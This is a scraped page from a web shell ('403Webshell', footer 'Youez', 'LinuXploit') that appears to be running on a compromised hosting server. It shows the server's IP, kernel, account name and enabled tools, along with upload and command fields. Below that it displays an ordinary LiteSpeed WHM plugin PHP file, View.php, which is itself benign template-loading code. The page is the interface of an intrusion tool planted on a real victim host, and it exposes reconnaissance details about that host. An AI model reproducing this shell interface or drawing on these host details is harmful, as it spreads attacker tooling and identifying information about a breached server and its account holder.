403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.217.79.15
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/lsws/add-ons/cpanel/lsws_whm_plugin/View/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/lsws/add-ons/cpanel/lsws_whm_plugin/View/View.php
<?php

/* * ******************************************
 * LiteSpeed Web Server Plugin for WHM
 *
 * @author LiteSpeed Technologies, Inc. (https://www.litespeedtech.com)
 * @copyright (c) 2018-2019
 * ******************************************* */

namespace LsPanel\View;

use \Lsc\Wp\Context\Context;
use \Lsc\Wp\LSCMException;
use \LsPanel\WhmPluginException;
use \LsPanel\WhmPluginLogger;

class View
{

    /**
     * @var object
     */
    private $viewModel;

    /**
     * @var string
     */
    private $panelViewDir = __DIR__;

    /**
     *
     * @param object  $viewModel
     */
    public function __construct( $viewModel )
    {
        $this->viewModel = $viewModel;
    }

    /**
     * @throws WhmPluginException  Thrown indirectly.
     */
    public function display()
    {
        $this->loadTpl($this->viewModel->getTpl());
    }

    /**
     *
     * @param string  $tplPath
     * @throws WhmPluginException
     */
    private function loadTpl( $tplPath )
    {
        $tplFile = basename($tplPath);
        $custTpl = "{$this->panelViewDir}/Tpl/Cust/{$tplFile}";

        if ( file_exists($custTpl) ) {
            include $custTpl;
        }
        elseif ( file_exists($tplPath) ) {
            include $tplPath;
        }
        else {
            throw new WhmPluginException("Could not load page template {$tplPath}.");
        }
    }

    /**
     * Used by the page template to load sub-template blocks.
     *
     * @param string  $tplName
     * @param array   $d        Sub-template data.
     * @param bool    $shared   True if block tpl is found in shared directory.
     * @return null
     * @throws WhmPluginException
     */
    private function loadTplBlock( $tplName, $d, $shared = false )
    {
        $custTpl = "{$this->panelViewDir}/Tpl/Cust/Blocks/{$tplName}";

        if ( file_exists($custTpl) ) {
            include $custTpl;
            return;
        }

        if ( $shared
                && include_once LSWS_HOME . '/add-ons/webcachemgr/src/Context/Context.php' ) {

            try {
                $sharedTplDir = Context::getOption()->getSharedTplDir();
                $tplPath = "{$sharedTplDir}/Blocks/{$tplName}";
            }
            catch ( LSCMException $e ) {
                $msg = $e->getMessage() . ' Unable to get shared template directory.';
                WhmPluginLogger::error($msg);

                throw new WhmPluginException($msg);
            }
        }
        else {
            $tplPath = $this->panelViewDir . "/Tpl/Blocks/{$tplName}";
        }

        if ( file_exists($tplPath) ) {
            include $tplPath;
        }
        else {
            throw new WhmPluginException("Could not load block template {$tplPath}.");
        }
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit